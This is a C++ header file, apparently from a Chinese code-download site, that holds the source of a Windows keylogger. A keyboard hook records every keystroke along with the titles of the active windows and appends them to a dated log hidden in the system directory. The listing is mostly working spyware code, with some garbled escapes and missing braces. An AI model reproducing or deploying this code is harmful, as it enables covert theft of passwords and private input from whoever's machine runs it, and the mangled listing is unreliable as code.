Keylog.h
上传用户:cjw5120
上传日期:2022-05-11
资源大小:5032k
文件大小:3k
源码类别:

网络截获/分析

开发平台:

Visual C++

  1. HHOOK g_hHook = NULL;           //全局钩子函数句柄
  2. HWND  g_hLastFocus = NULL;         //活动窗体句柄
  3. /*
  4.  作者:海啸 lyyer English Name: Jack 
  5.   blog:http://lyyer.blog.sohu.com
  6.   website:http://www.cnGSG.com
  7.   海啸网络安全组织
  8. */
  9. //键盘钩子函数
  10. LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
  11. {
  12. FILE* out;
  13. SYSTEMTIME sysTm;
  14. ::GetLocalTime(&sysTm);
  15. int m_nYear = sysTm.wYear;
  16. int m_nMonth = sysTm.wMonth;
  17. int m_nDay = sysTm.wDay;
  18. char filename[100] ={0};//保存文件名
  19. sprintf(filename,"Key_%d_%d_%d.log",m_nYear,m_nMonth,m_nDay);
  20. char syspath[MAX_PATH] ={0};
  21. GetSystemDirectory(syspath,MAX_PATH);
  22. strcat(syspath,"\");
  23. strcat(syspath,filename);
  24. if(nCode<0)
  25. return CallNextHookEx(g_hHook,nCode,wParam,lParam); 
  26. if(nCode==HC_ACTION)//HC_ACTION表明lParam指向一消息结构
  27. {     
  28. EVENTMSG *pEvt=(EVENTMSG *)lParam;
  29. if(pEvt->message==WM_KEYDOWN)//判断是否是击键消息
  30. {   
  31. DWORD dwCount; 
  32. char svBuffer[256]; 
  33. int vKey,nScan; 
  34. vKey=LOBYTE(pEvt->paramL); 
  35. nScan=HIBYTE(pEvt->paramL);//扫描码
  36. nScan<<=16; 
  37. //检查当前窗口焦点是否改变
  38. HWND hFocus=GetActiveWindow(); 
  39. if(g_hLastFocus!=hFocus)
  40. {//保存窗口标题到文件中 
  41. char svTitle[256]; 
  42. int nCount; 
  43. nCount=GetWindowText(hFocus,svTitle,256); 
  44. if(nCount>0)
  45. out=fopen(syspath,"a+");
  46. fprintf(out,"rn---激活窗口[%s]---rn",svTitle);
  47. fclose(out);
  48. g_hLastFocus=hFocus; 
  49. // Write out key 
  50. dwCount=GetKeyNameText(nScan,svBuffer,256); 
  51. if(dwCount)//如果所击键在虚拟键表之中
  52. {
  53. if(vKey==VK_SPACE)
  54. {
  55. svBuffer[0]=' '; 
  56. svBuffer[1]=''; 
  57. dwCount=1; 
  58. if(dwCount==1)//如果是普通键则将其对应的ascii码存入文件
  59. {   
  60. BYTE kbuf[256]; 
  61. WORD ch; 
  62. int chcount; 
  63. GetKeyboardState(kbuf);
  64. chcount=ToAscii(vKey,nScan,kbuf,&ch,0);
  65. /*根据当前的扫描码和键盘信息,将一个虚拟键转换成ASCII字符*/
  66. if(chcount>0)
  67. {
  68. out=fopen(syspath,"a+");
  69. fprintf(out,"%c",char(ch));
  70. fclose(out);
  71. }
  72. }
  73. else//如果是Ctrl、Alt之类则直接将其虚拟键名存入文件
  74. {       
  75. //你以为用复制我就没办法吗?
  76. out=fopen(filename,"a+");
  77. fprintf(out,"[%s]",svBuffer);
  78. fclose(out);
  79. if(vKey==VK_RETURN)//回车
  80. {
  81. out=fopen(syspath,"a+");
  82. fprintf(out,"rn");
  83. fclose(out);
  84. }
  85. return CallNextHookEx(g_hHook,nCode,wParam,lParam); 
  86. }